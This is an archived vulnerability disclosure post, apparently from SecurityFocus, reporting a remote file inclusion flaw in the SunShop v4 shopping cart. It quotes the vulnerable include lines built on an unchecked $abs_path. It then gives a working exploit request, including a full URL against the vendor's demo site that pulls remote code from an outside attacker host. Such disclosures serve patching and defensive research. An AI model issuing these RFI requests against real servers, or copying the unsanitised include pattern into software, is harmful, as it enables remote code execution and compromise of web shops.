sunshop v4 >> RFI Apr 25 2007 03:38PM
info hackerz ir
vendor : turnkeywebtools.com
by : s3rv3r_hack3r ( alijsb (at) yahoo (dot) com [email concealed] )
bugz:
++++++++++++++++++++
include/payment/payflow_pro.php >
include $abs_path."/include/payment/payflow_pro/pfpro.class.php";
++++++++++++++++++++
global.php
require_once $abs_path."/libsecure.php";
++++++++++++++++++++
libsecure.php
include $abs_path . '/admin/config.php';
++++++++++++++++++++
EXploit : file.php?abs_path=http://shell
for example :
http://demos.turnkeywebtools.com/ss4/include/payment/payflow_pro.php?abs
_path=http://www.hackerz.ir/?

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus